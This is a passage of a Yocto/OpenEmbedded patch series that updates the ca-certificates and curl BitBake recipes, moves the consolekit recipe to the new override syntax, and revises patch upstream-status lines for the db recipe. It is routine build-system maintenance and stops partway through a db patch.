+ debian/changelog | 1 -
+ debian/control | 2 +-
+ mozilla/certdata2pem.py | 11 -----------
+ 3 files changed, 1 insertion(+), 13 deletions(-)
+
+diff --git a/debian/changelog b/debian/changelog
+index 531e4d0..4006509 100644
+--- a/debian/changelog
++++ b/debian/changelog
+@@ -37,7 +37,6 @@ ca-certificates (20211004) unstable; urgency=low
+ - "Trustis FPS Root CA"
+ - "Staat der Nederlanden Root CA - G3"
+ * Blacklist expired root certificate "DST Root CA X3" (closes: #995432)
+- * mozilla/certdata2pem.py: print a warning for expired certificates.
+
+ -- Julien Cristau <jcristau@debian.org> Thu, 07 Oct 2021 17:12:47 +0200
+
+diff --git a/debian/control b/debian/control
+index 4434b7a..5c6ba24 100644
+--- a/debian/control
++++ b/debian/control
+@@ -3,7 +3,7 @@ Section: misc
+ Priority: optional
+ Maintainer: Julien Cristau <jcristau@debian.org>
+ Build-Depends: debhelper-compat (= 13), po-debconf
+-Build-Depends-Indep: python3, openssl, python3-cryptography
++Build-Depends-Indep: python3, openssl
+ Standards-Version: 4.5.0.2
+ Vcs-Git: https://salsa.debian.org/debian/ca-certificates.git
+ Vcs-Browser: https://salsa.debian.org/debian/ca-certificates
+diff --git a/mozilla/certdata2pem.py b/mozilla/certdata2pem.py
+index ede23d4..7d796f1 100644
+--- a/mozilla/certdata2pem.py
++++ b/mozilla/certdata2pem.py
+@@ -21,16 +21,12 @@
+ # USA.
+
+ import base64
+-import datetime
+ import os.path
+ import re
+ import sys
+ import textwrap
+ import io
+
+-from cryptography import x509
+-
+-
+ objects = []
+
+ # Dirty file parser.
+@@ -121,13 +117,6 @@ for obj in objects:
+ if obj['CKA_CLASS'] == 'CKO_CERTIFICATE':
+ if not obj['CKA_LABEL'] in trust or not trust[obj['CKA_LABEL']]:
+ continue
+-
+- cert = x509.load_der_x509_certificate(obj['CKA_VALUE'])
+- if cert.not_valid_after < datetime.datetime.now():
+- print('!'*74)
+- print('Trusted but expired certificate found: %s' % obj['CKA_LABEL'])
+- print('!'*74)
+-
+ bname = obj['CKA_LABEL'][1:-1].replace('/', '_')\
+ .replace(' ', '_')\
+ .replace('(', '=')\
+--
+2.20.1
+
diff --git a/meta/recipes-support/ca-certificates/ca-certificates/0001-certdata2pem.py-use-python3.patch b/meta/recipes-support/ca-certificates/ca-certificates/0001-certdata2pem.py-use-python3.patch
deleted file mode 100644
index aa2c85ff43..0000000000
--- a/meta/recipes-support/ca-certificates/ca-certificates/0001-certdata2pem.py-use-python3.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From b6d18ca77f131cdcaa10d0eaa9d303399767edf6 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 28 Aug 2019 19:18:14 +0200
-Subject: [PATCH] certdata2pem.py: use python3
-
-Comments in that file imply it is already py3 compatible.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- mozilla/Makefile | 2 +-
- mozilla/certdata2pem.py | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/mozilla/Makefile b/mozilla/Makefile
-index 6f46118..f98877c 100644
---- a/mozilla/Makefile
-+++ b/mozilla/Makefile
-@@ -3,7 +3,7 @@
- #
-
- all:
-- python certdata2pem.py
-+ python3 certdata2pem.py
-
- clean:
- -rm -f *.crt
-diff --git a/mozilla/certdata2pem.py b/mozilla/certdata2pem.py
-index 0b02b2a..7d796f1 100644
---- a/mozilla/certdata2pem.py
-+++ b/mozilla/certdata2pem.py
-@@ -1,4 +1,4 @@
--#!/usr/bin/python
-+#!/usr/bin/python3
- # vim:set et sw=4:
- #
- # certdata2pem.py - splits certdata.txt into multiple files
diff --git a/meta/recipes-support/ca-certificates/ca-certificates/sbindir.patch b/meta/recipes-support/ca-certificates/ca-certificates/sbindir.patch
deleted file mode 100644
index a113fa8b15..0000000000
--- a/meta/recipes-support/ca-certificates/ca-certificates/sbindir.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Upstream-Status: Pending
-
-Let us alter the install destination of the script via SBINDIR
-
---- ca-certificates-20130119.orig/sbin/Makefile
-+++ ca-certificates-20130119/sbin/Makefile
-@@ -3,9 +3,12 @@
- #
- #
-
-+SBINDIR = /usr/sbin
-+
- all:
-
- clean:
-
- install:
-- install -m755 update-ca-certificates $(DESTDIR)/usr/sbin/
-+ install -d $(DESTDIR)$(SBINDIR)
-+ install -m755 update-ca-certificates $(DESTDIR)$(SBINDIR)/
diff --git a/meta/recipes-support/ca-certificates/ca-certificates/update-ca-certificates-support-Toybox.patch b/meta/recipes-support/ca-certificates/ca-certificates/update-ca-certificates-support-Toybox.patch
deleted file mode 100644
index 6e2171f758..0000000000
--- a/meta/recipes-support/ca-certificates/ca-certificates/update-ca-certificates-support-Toybox.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 30378026d136efa779732e3f6664e2ecf461e458 Mon Sep 17 00:00:00 2001
-From: Patrick Ohly <patrick.ohly@intel.com>
-Date: Thu, 17 Mar 2016 12:38:09 +0100
-Subject: [PATCH] update-ca-certificates: support Toybox
-
-"mktemp -t" is deprecated and does not work when using Toybox. Replace
-with something that works also with Toybox.
-
-Upstream-Status: Pending
-
-Signed-off-by: Patrick Ohly <patrick.ohly@intel.com>
----
- sbin/update-ca-certificates | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/sbin/update-ca-certificates b/sbin/update-ca-certificates
-index 79c41bb..ae9e3f1 100755
---- a/sbin/update-ca-certificates
-+++ b/sbin/update-ca-certificates
-@@ -113,9 +113,9 @@ trap cleanup 0
-
- # Helper files. (Some of them are not simple arrays because we spawn
- # subshells later on.)
--TEMPBUNDLE="$(mktemp -t "${CERTBUNDLE}.tmp.XXXXXX")"
--ADDED="$(mktemp -t "ca-certificates.tmp.XXXXXX")"
--REMOVED="$(mktemp -t "ca-certificates.tmp.XXXXXX")"
-+TEMPBUNDLE="$(mktemp -p${TMPDIR:-/tmp} "${CERTBUNDLE}.tmp.XXXXXX")"
-+ADDED="$(mktemp -p${TMPDIR:-/tmp} "ca-certificates.tmp.XXXXXX")"
-+REMOVED="$(mktemp -p${TMPDIR:-/tmp} "ca-certificates.tmp.XXXXXX")"
-
- # Adds a certificate to the list of trusted ones. This includes a symlink
- # in /etc/ssl/certs to the certificate file and its inclusion into the
---
-2.1.4
diff --git a/meta/recipes-support/ca-certificates/ca-certificates_20200601.bb b/meta/recipes-support/ca-certificates/ca-certificates_20200601.bb
deleted file mode 100644
index 6f39df7985..0000000000
--- a/meta/recipes-support/ca-certificates/ca-certificates_20200601.bb
+++ /dev/null
@@ -1,91 +0,0 @@
-SUMMARY = "Common CA certificates"
-DESCRIPTION = "This package includes PEM files of CA certificates to allow \
-SSL-based applications to check for the authenticity of SSL connections. \
-This derived from Debian's CA Certificates."
-HOMEPAGE = "http://packages.debian.org/sid/ca-certificates"
-SECTION = "misc"
-LICENSE = "GPL-2.0+ & MPL-2.0"
-LIC_FILES_CHKSUM = "file://debian/copyright;md5=ae5b36b514e3f12ce1aa8e2ee67f3d7e"
-
-# This is needed to ensure we can run the postinst at image creation time
-DEPENDS = ""
-DEPENDS_class-native = "openssl-native"
-DEPENDS_class-nativesdk = "openssl-native"
-# Need rehash from openssl and run-parts from debianutils
-PACKAGE_WRITE_DEPS += "openssl-native debianutils-native"
-
-SRCREV = "b3a8980b781bc9a370e42714a605cd4191bb6c0b"
-
-SRC_URI = "git://salsa.debian.org/debian/ca-certificates.git;protocol=https \
- file://0002-update-ca-certificates-use-SYSROOT.patch \
- file://0001-update-ca-certificates-don-t-use-Debianisms-in-run-p.patch \
- file://update-ca-certificates-support-Toybox.patch \
- file://default-sysroot.patch \
- file://sbindir.patch \
- file://0003-update-ca-certificates-use-relative-symlinks-from-ET.patch \
- file://0001-certdata2pem.py-use-python3.patch \
- "
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+)"
-
-S = "${WORKDIR}/git"
-
-inherit allarch
-
-EXTRA_OEMAKE = "\
- 'CERTSDIR=${datadir}/ca-certificates' \
- 'SBINDIR=${sbindir}' \
-"
-
-do_compile_prepend() {
- oe_runmake clean
-}
-
-do_install () {
- install -d ${D}${datadir}/ca-certificates \
- ${D}${sysconfdir}/ssl/certs \
- ${D}${sysconfdir}/ca-certificates/update.d
- oe_runmake 'DESTDIR=${D}' install
-
- install -d ${D}${mandir}/man8
- install -m 0644 sbin/update-ca-certificates.8 ${D}${mandir}/man8/
-
- install -d ${D}${sysconfdir}
- {
- echo "# Lines starting with # will be ignored"
- echo "# Lines starting with ! will remove certificate on next update"
- echo "#"
- find ${D}${datadir}/ca-certificates -type f -name '*.crt' | \
- sed 's,^${D}${datadir}/ca-certificates/,,' | sort
- } >${D}${sysconfdir}/ca-certificates.conf
-}
-
-do_install_append_class-target () {
- sed -i -e 's,/etc/,${sysconfdir}/,' \
- -e 's,/usr/share/,${datadir}/,' \
- -e 's,/usr/local,${prefix}/local,' \
- ${D}${sbindir}/update-ca-certificates \
- ${D}${mandir}/man8/update-ca-certificates.8
-}
-
-pkg_postinst_${PN}_class-target () {
- SYSROOT="$D" $D${sbindir}/update-ca-certificates
-}
-
-CONFFILES_${PN} += "${sysconfdir}/ca-certificates.conf"
-
-# Rather than make a postinst script that works for both target and nativesdk,
-# we just run update-ca-certificate from do_install() for nativesdk.
-CONFFILES_${PN}_append_class-nativesdk = " ${sysconfdir}/ssl/certs/ca-certificates.crt"
-do_install_append_class-nativesdk () {
- SYSROOT="${D}${SDKPATHNATIVE}" ${D}${sbindir}/update-ca-certificates
-}
-
-do_install_append_class-native () {
- SYSROOT="${D}${base_prefix}" ${D}${sbindir}/update-ca-certificates
-}
-
-RDEPENDS_${PN}_class-target = "openssl-bin"
-RDEPENDS_${PN}_class-native = "openssl-native"
-RDEPENDS_${PN}_class-nativesdk = "nativesdk-openssl-bin"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/ca-certificates/ca-certificates_20211016.bb b/meta/recipes-support/ca-certificates/ca-certificates_20211016.bb
new file mode 100644
index 0000000000..dbee7dc616
--- /dev/null
+++ b/meta/recipes-support/ca-certificates/ca-certificates_20211016.bb
@@ -0,0 +1,89 @@
+SUMMARY = "Common CA certificates"
+DESCRIPTION = "This package includes PEM files of CA certificates to allow \
+SSL-based applications to check for the authenticity of SSL connections. \
+This derived from Debian's CA Certificates."
+HOMEPAGE = "http://packages.debian.org/sid/ca-certificates"
+SECTION = "misc"
+LICENSE = "GPL-2.0+ & MPL-2.0"
+LIC_FILES_CHKSUM = "file://debian/copyright;md5=ae5b36b514e3f12ce1aa8e2ee67f3d7e"
+
+# This is needed to ensure we can run the postinst at image creation time
+DEPENDS = ""
+DEPENDS:class-native = "openssl-native"
+DEPENDS:class-nativesdk = "openssl-native"
+# Need rehash from openssl and run-parts from debianutils
+PACKAGE_WRITE_DEPS += "openssl-native debianutils-native"
+
+SRCREV = "07de54fdcc5806bde549e1edf60738c6bccf50e8"
+
+SRC_URI = "git://salsa.debian.org/debian/ca-certificates.git;protocol=https;branch=master \
+ file://0002-update-ca-certificates-use-SYSROOT.patch \
+ file://0001-update-ca-certificates-don-t-use-Debianisms-in-run-p.patch \
+ file://default-sysroot.patch \
+ file://0003-update-ca-certificates-use-relative-symlinks-from-ET.patch \
+ file://0001-Revert-mozilla-certdata2pem.py-print-a-warning-for-e.patch \
+ "
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+)"
+
+S = "${WORKDIR}/git"
+
+inherit allarch
+
+EXTRA_OEMAKE = "\
+ 'CERTSDIR=${datadir}/ca-certificates' \
+ 'SBINDIR=${sbindir}' \
+"
+
+do_compile:prepend() {
+ oe_runmake clean
+}
+
+do_install () {
+ install -d ${D}${datadir}/ca-certificates \
+ ${D}${sysconfdir}/ssl/certs \
+ ${D}${sysconfdir}/ca-certificates/update.d
+ oe_runmake 'DESTDIR=${D}' install
+
+ install -d ${D}${mandir}/man8
+ install -m 0644 sbin/update-ca-certificates.8 ${D}${mandir}/man8/
+
+ install -d ${D}${sysconfdir}
+ {
+ echo "# Lines starting with # will be ignored"
+ echo "# Lines starting with ! will remove certificate on next update"
+ echo "#"
+ find ${D}${datadir}/ca-certificates -type f -name '*.crt' | \
+ sed 's,^${D}${datadir}/ca-certificates/,,' | sort
+ } >${D}${sysconfdir}/ca-certificates.conf
+}
+
+do_install:append:class-target () {
+ sed -i -e 's,/etc/,${sysconfdir}/,' \
+ -e 's,/usr/share/,${datadir}/,' \
+ -e 's,/usr/local,${prefix}/local,' \
+ ${D}${sbindir}/update-ca-certificates \
+ ${D}${mandir}/man8/update-ca-certificates.8
+}
+
+pkg_postinst:${PN}:class-target () {
+ SYSROOT="$D" $D${sbindir}/update-ca-certificates
+}
+
+CONFFILES:${PN} += "${sysconfdir}/ca-certificates.conf"
+
+# Rather than make a postinst script that works for both target and nativesdk,
+# we just run update-ca-certificate from do_install() for nativesdk.
+CONFFILES:${PN}:append:class-nativesdk = " ${sysconfdir}/ssl/certs/ca-certificates.crt"
+do_install:append:class-nativesdk () {
+ SYSROOT="${D}${SDKPATHNATIVE}" ${D}${sbindir}/update-ca-certificates
+}
+
+do_install:append:class-native () {
+ SYSROOT="${D}${base_prefix}" ${D}${sbindir}/update-ca-certificates
+}
+
+RDEPENDS:${PN}:append:class-target = " openssl-bin openssl"
+RDEPENDS:${PN}:append:class-native = " openssl-native"
+RDEPENDS:${PN}:append:class-nativesdk = " nativesdk-openssl-bin nativesdk-openssl"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/consolekit/consolekit_0.4.6.bb b/meta/recipes-support/consolekit/consolekit_0.4.6.bb
index 89f2d77b66..95ce97ef34 100644
--- a/meta/recipes-support/consolekit/consolekit_0.4.6.bb
+++ b/meta/recipes-support/consolekit/consolekit_0.4.6.bb
@@ -1,4 +1,6 @@
SUMMARY = "Framework for defining and tracking users, login sessions, and seats"
+DESCRIPTION = "It provides a mechanism for software to react to changes \
+of any of these items or of any of the metadata associated with them."
HOMEPAGE = "http://www.freedesktop.org/wiki/Software/ConsoleKit"
BUGTRACKER = "https://bugs.freedesktop.org/buglist.cgi?query_format=specific&product=ConsoleKit"
@@ -7,7 +9,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
file://src/main.c;endline=21;md5=0a994e09769780220163255d8f9071c3"
DEPENDS = "glib-2.0 glib-2.0-native dbus dbus-glib virtual/libx11"
-RDEPENDS_${PN} += "base-files"
+RDEPENDS:${PN} += "base-files"
inherit autotools pkgconfig features_check
# depends on virtual/libx11
@@ -27,17 +29,17 @@ PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd polkit', d
PACKAGECONFIG[pam] = "--enable-pam-module --with-pam-module-dir=${base_libdir}/security,--disable-pam-module,libpam"
PACKAGECONFIG[polkit] = "--with-polkit,--without-polkit,polkit"
-PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_unitdir}/system/,--with-systemdsystemunitdir="
+PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}/,--with-systemdsystemunitdir="
-FILES_${PN} += "${exec_prefix}/lib/ConsoleKit \
+FILES:${PN} += "${exec_prefix}/lib/ConsoleKit \
${libdir}/ConsoleKit ${systemd_unitdir} ${base_libdir} \
${datadir}/dbus-1 ${datadir}/PolicyKit ${datadir}/polkit*"
PACKAGES =+ "pam-plugin-ck-connector"
-FILES_pam-plugin-ck-connector += "${base_libdir}/security/*.so"
-RDEPENDS_pam-plugin-ck-connector += "${PN}"
+FILES:pam-plugin-ck-connector += "${base_libdir}/security/*.so"
+RDEPENDS:pam-plugin-ck-connector += "${PN}"
-do_install_append() {
+do_install:append() {
if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
install -d ${D}${sysconfdir}/tmpfiles.d
echo "d ${localstatedir}/log/ConsoleKit - - - -" \
diff --git a/meta/recipes-support/curl/curl/0001-replace-krb5-config-with-pkg-config.patch b/meta/recipes-support/curl/curl/0001-replace-krb5-config-with-pkg-config.patch
deleted file mode 100644
index a7db1b3c9e..0000000000
--- a/meta/recipes-support/curl/curl/0001-replace-krb5-config-with-pkg-config.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From ed70f0623708b8a6c1f58a5d243d87c5ff45b24d Mon Sep 17 00:00:00 2001
-From: Roy Li <rongqing.li@windriver.com>
-Date: Tue, 26 Apr 2016 13:13:01 +0800
-Subject: [PATCH] replace krb5-config with pkg-config
-
-Upstream-Status: Pending
-
-Signed-off-by: Roy Li <rongqing.li@windriver.com>
-
----
- configure.ac | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 5569a26..56b0380 100755
---- a/configure.ac
-+++ b/configure.ac
-@@ -1290,7 +1290,7 @@ AC_ARG_WITH(gssapi,
- fi
- ])
-
--: ${KRB5CONFIG:="$GSSAPI_ROOT/bin/krb5-config"}
-+KRB5CONFIG=`which pkg-config`
-
- save_CPPFLAGS="$CPPFLAGS"
- AC_MSG_CHECKING([if GSS-API support is requested])
-@@ -1301,7 +1301,7 @@ if test x"$want_gss" = xyes; then
- if test -n "$host_alias" -a -f "$GSSAPI_ROOT/bin/$host_alias-krb5-config"; then
- GSSAPI_INCS=`$GSSAPI_ROOT/bin/$host_alias-krb5-config --cflags gssapi`
- elif test -f "$KRB5CONFIG"; then
-- GSSAPI_INCS=`$KRB5CONFIG --cflags gssapi`
-+ GSSAPI_INCS=`$KRB5CONFIG --cflags mit-krb5-gssapi`
- elif test "$GSSAPI_ROOT" != "yes"; then
- GSSAPI_INCS="-I$GSSAPI_ROOT/include"
- fi
-@@ -1394,7 +1394,7 @@ if test x"$want_gss" = xyes; then
- elif test -f "$KRB5CONFIG"; then
- dnl krb5-config doesn't have --libs-only-L or similar, put everything
- dnl into LIBS
-- gss_libs=`$KRB5CONFIG --libs gssapi`
-+ gss_libs=`$KRB5CONFIG --libs mit-krb5-gssapi`
- LIBS="$gss_libs $LIBS"
- else
- case $host in
diff --git a/meta/recipes-support/curl/curl_7.73.0.bb b/meta/recipes-support/curl/curl_7.73.0.bb
deleted file mode 100644
index 0f26b0f1af..0000000000
--- a/meta/recipes-support/curl/curl_7.73.0.bb
+++ /dev/null
@@ -1,85 +0,0 @@
-SUMMARY = "Command line tool and library for client-side URL transfers"
-HOMEPAGE = "http://curl.haxx.se/"
-BUGTRACKER = "http://curl.haxx.se/mail/list.cgi?list=curl-tracker"
-SECTION = "console/network"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2e9fb35867314fe31c6a4977ef7dd531"
-
-SRC_URI = "https://curl.haxx.se/download/curl-${PV}.tar.bz2 \
- file://0001-replace-krb5-config-with-pkg-config.patch \
-"
-
-SRC_URI[sha256sum] = "cf34fe0b07b800f1c01a499a6e8b2af548f6d0e044dca4a29d88a4bee146d131"
-
-# Curl has used many names over the years...
-CVE_PRODUCT = "haxx:curl haxx:libcurl curl:curl curl:libcurl libcurl:libcurl daniel_stenberg:curl"
-
-inherit autotools pkgconfig binconfig multilib_header
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} gnutls libidn proxy threaded-resolver verbose zlib"
-PACKAGECONFIG_class-native = "ipv6 proxy ssl threaded-resolver verbose zlib"
-PACKAGECONFIG_class-nativesdk = "ipv6 proxy ssl threaded-resolver verbose zlib"
-
-# 'ares' and 'threaded-resolver' are mutually exclusive
-PACKAGECONFIG[ares] = "--enable-ares,--disable-ares,c-ares,,,threaded-resolver"
-PACKAGECONFIG[brotli] = "--with-brotli,--without-brotli,brotli"
-PACKAGECONFIG[builtinmanual] = "--enable-manual,--disable-manual"
-PACKAGECONFIG[dict] = "--enable-dict,--disable-dict,"
-PACKAGECONFIG[gnutls] = "--with-gnutls,--without-gnutls,gnutls"
-PACKAGECONFIG[gopher] = "--enable-gopher,--disable-gopher,"
-PACKAGECONFIG[imap] = "--enable-imap,--disable-imap,"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-PACKAGECONFIG[krb5] = "--with-gssapi,--without-gssapi,krb5"
-PACKAGECONFIG[ldap] = "--enable-ldap,--disable-ldap,"
-PACKAGECONFIG[ldaps] = "--enable-ldaps,--disable-ldaps,"
-PACKAGECONFIG[libidn] = "--with-libidn2,--without-libidn2,libidn2"
-PACKAGECONFIG[libssh2] = "--with-libssh2,--without-libssh2,libssh2"
-PACKAGECONFIG[mbedtls] = "--with-mbedtls=${STAGING_DIR_TARGET},--without-mbedtls,mbedtls"
-PACKAGECONFIG[mqtt] = "--enable-mqtt,--disable-mqtt,"
-PACKAGECONFIG[nghttp2] = "--with-nghttp2,--without-nghttp2,nghttp2"
-PACKAGECONFIG[pop3] = "--enable-pop3,--disable-pop3,"
-PACKAGECONFIG[proxy] = "--enable-proxy,--disable-proxy,"
-PACKAGECONFIG[rtmpdump] = "--with-librtmp,--without-librtmp,rtmpdump"
-PACKAGECONFIG[rtsp] = "--enable-rtsp,--disable-rtsp,"
-PACKAGECONFIG[smb] = "--enable-smb,--disable-smb,"
-PACKAGECONFIG[smtp] = "--enable-smtp,--disable-smtp,"
-PACKAGECONFIG[ssl] = "--with-ssl --with-random=/dev/urandom,--without-ssl,openssl"
-PACKAGECONFIG[nss] = "--with-nss,--without-nss,nss"
-PACKAGECONFIG[telnet] = "--enable-telnet,--disable-telnet,"
-PACKAGECONFIG[tftp] = "--enable-tftp,--disable-tftp,"
-PACKAGECONFIG[threaded-resolver] = "--enable-threaded-resolver,--disable-threaded-resolver,,,,ares"
-PACKAGECONFIG[verbose] = "--enable-verbose,--disable-verbose"
-PACKAGECONFIG[zlib] = "--with-zlib=${STAGING_LIBDIR}/../,--without-zlib,zlib"
-
-EXTRA_OECONF = " \
- --disable-libcurl-option \
- --disable-ntlm-wb \
- --enable-crypto-auth \
- --with-ca-bundle=${sysconfdir}/ssl/certs/ca-certificates.crt \
- --without-libmetalink \
- --without-libpsl \
- --enable-debug \
- --enable-optimize \
- --disable-curldebug \
-"
-
-do_install_append_class-target() {
- # cleanup buildpaths from curl-config
- sed -i \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- ${D}${bindir}/curl-config
-}
-
-PACKAGES =+ "lib${BPN}"
-
-FILES_lib${BPN} = "${libdir}/lib*.so.*"
-RRECOMMENDS_lib${BPN} += "ca-certificates"
-
-FILES_${PN} += "${datadir}/zsh"
-
-inherit multilib_script
-MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/curl-config"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/curl/curl_7.80.0.bb b/meta/recipes-support/curl/curl_7.80.0.bb
new file mode 100644
index 0000000000..7b47091933
--- /dev/null
+++ b/meta/recipes-support/curl/curl_7.80.0.bb
@@ -0,0 +1,88 @@
+SUMMARY = "Command line tool and library for client-side URL transfers"
+DESCRIPTION = "It uses URL syntax to transfer data to and from servers. \
+curl is a widely used because of its ability to be flexible and complete \
+complex tasks. For example, you can use curl for things like user authentication, \
+HTTP post, SSL connections, proxy support, FTP uploads, and more!"
+HOMEPAGE = "http://curl.haxx.se/"
+BUGTRACKER = "http://curl.haxx.se/mail/list.cgi?list=curl-tracker"
+SECTION = "console/network"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=425f6fdc767cc067518eef9bbdf4ab7b"
+
+SRC_URI = "https://curl.haxx.se/download/curl-${PV}.tar.bz2"
+
+SRC_URI[sha256sum] = "dd0d150e49cd950aff35e16b628edf04927f0289df42883750cf952bb858189c"
+
+# Curl has used many names over the years...
+CVE_PRODUCT = "haxx:curl haxx:libcurl curl:curl curl:libcurl libcurl:libcurl daniel_stenberg:curl"
+
+inherit autotools pkgconfig binconfig multilib_header
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} ssl libidn proxy threaded-resolver verbose zlib"
+PACKAGECONFIG:class-native = "ipv6 proxy ssl threaded-resolver verbose zlib"
+PACKAGECONFIG:class-nativesdk = "ipv6 proxy ssl threaded-resolver verbose zlib"
+
+# 'ares' and 'threaded-resolver' are mutually exclusive
+PACKAGECONFIG[ares] = "--enable-ares,--disable-ares,c-ares,,,threaded-resolver"
+PACKAGECONFIG[brotli] = "--with-brotli,--without-brotli,brotli"
+PACKAGECONFIG[builtinmanual] = "--enable-manual,--disable-manual"
+PACKAGECONFIG[dict] = "--enable-dict,--disable-dict,"
+PACKAGECONFIG[gnutls] = "--with-gnutls,--without-gnutls,gnutls"
+PACKAGECONFIG[gopher] = "--enable-gopher,--disable-gopher,"
+PACKAGECONFIG[imap] = "--enable-imap,--disable-imap,"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+PACKAGECONFIG[krb5] = "--with-gssapi,--without-gssapi,krb5"
+PACKAGECONFIG[ldap] = "--enable-ldap,--disable-ldap,"
+PACKAGECONFIG[ldaps] = "--enable-ldaps,--disable-ldaps,"
+PACKAGECONFIG[libgsasl] = "--with-libgsasl,--without-libgsasl,libgsasl"
+PACKAGECONFIG[libidn] = "--with-libidn2,--without-libidn2,libidn2"
+PACKAGECONFIG[libssh2] = "--with-libssh2,--without-libssh2,libssh2"
+PACKAGECONFIG[mbedtls] = "--with-mbedtls=${STAGING_DIR_TARGET},--without-mbedtls,mbedtls"
+PACKAGECONFIG[mqtt] = "--enable-mqtt,--disable-mqtt,"
+PACKAGECONFIG[nghttp2] = "--with-nghttp2,--without-nghttp2,nghttp2"
+PACKAGECONFIG[pop3] = "--enable-pop3,--disable-pop3,"
+PACKAGECONFIG[proxy] = "--enable-proxy,--disable-proxy,"
+PACKAGECONFIG[rtmpdump] = "--with-librtmp,--without-librtmp,rtmpdump"
+PACKAGECONFIG[rtsp] = "--enable-rtsp,--disable-rtsp,"
+PACKAGECONFIG[smb] = "--enable-smb,--disable-smb,"
+PACKAGECONFIG[smtp] = "--enable-smtp,--disable-smtp,"
+PACKAGECONFIG[ssl] = "--with-ssl --with-random=/dev/urandom,--without-ssl,openssl"
+PACKAGECONFIG[nss] = "--with-nss,--without-nss,nss"
+PACKAGECONFIG[telnet] = "--enable-telnet,--disable-telnet,"
+PACKAGECONFIG[tftp] = "--enable-tftp,--disable-tftp,"
+PACKAGECONFIG[threaded-resolver] = "--enable-threaded-resolver,--disable-threaded-resolver,,,,ares"
+PACKAGECONFIG[verbose] = "--enable-verbose,--disable-verbose"
+PACKAGECONFIG[zlib] = "--with-zlib=${STAGING_LIBDIR}/../,--without-zlib,zlib"
+
+EXTRA_OECONF = " \
+ --disable-libcurl-option \
+ --disable-ntlm-wb \
+ --enable-crypto-auth \
+ --with-ca-bundle=${sysconfdir}/ssl/certs/ca-certificates.crt \
+ --without-libpsl \
+ --enable-debug \
+ --enable-optimize \
+ --disable-curldebug \
+"
+
+do_install:append:class-target() {
+ # cleanup buildpaths from curl-config
+ sed -i \
+ -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's|${@" ".join(d.getVar("DEBUG_PREFIX_MAP").split())}||g' \
+ ${D}${bindir}/curl-config
+}
+
+PACKAGES =+ "lib${BPN}"
+
+FILES:lib${BPN} = "${libdir}/lib*.so.*"
+RRECOMMENDS:lib${BPN} += "ca-certificates"
+
+FILES:${PN} += "${datadir}/zsh"
+
+inherit multilib_script
+MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/curl-config"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/db/db/0001-Fix-libc-compatibility-by-renaming-atomic_init-API.patch b/meta/recipes-support/db/db/0001-Fix-libc-compatibility-by-renaming-atomic_init-API.patch
index a4ff2ecb0c..c82e7c375f 100644
--- a/meta/recipes-support/db/db/0001-Fix-libc-compatibility-by-renaming-atomic_init-API.patch
+++ b/meta/recipes-support/db/db/0001-Fix-libc-compatibility-by-renaming-atomic_init-API.patch
@@ -7,7 +7,7 @@ db5 does not build because it is redefining a C++11 standard
library identifier, atomic_init(). Therefore prefix all
its internal defines with '__db_', to avoid collisions.
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
diff --git a/meta/recipes-support/db/db/0001-atomic-Rename-local-__atomic_compare_exchange-to-avo.patch b/meta/recipes-support/db/db/0001-atomic-Rename-local-__atomic_compare_exchange-to-avo.patch
index 571708e03e..2374885e77 100644
--- a/meta/recipes-support/db/db/0001-atomic-Rename-local-__atomic_compare_exchange-to-avo.patch
+++ b/meta/recipes-support/db/db/0001-atomic-Rename-local-__atomic_compare_exchange-to-avo.patch
@@ -11,7 +11,7 @@ Fixes
../db-5.3.28/src/dbinc/atomic.h:179:19: error: definition of builtin function '__atomic_compare_exchange'
static inline int __atomic_compare_exchange(
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
diff --git a/meta/recipes-support/db/db/0001-clock-Do-not-define-own-timespec.patch b/meta/recipes-support/db/db/0001-clock-Do-not-define-own-timespec.patch
index 9d51a44a26..d238b0f063 100644
--- a/meta/recipes-support/db/db/0001-clock-Do-not-define-own-timespec.patch
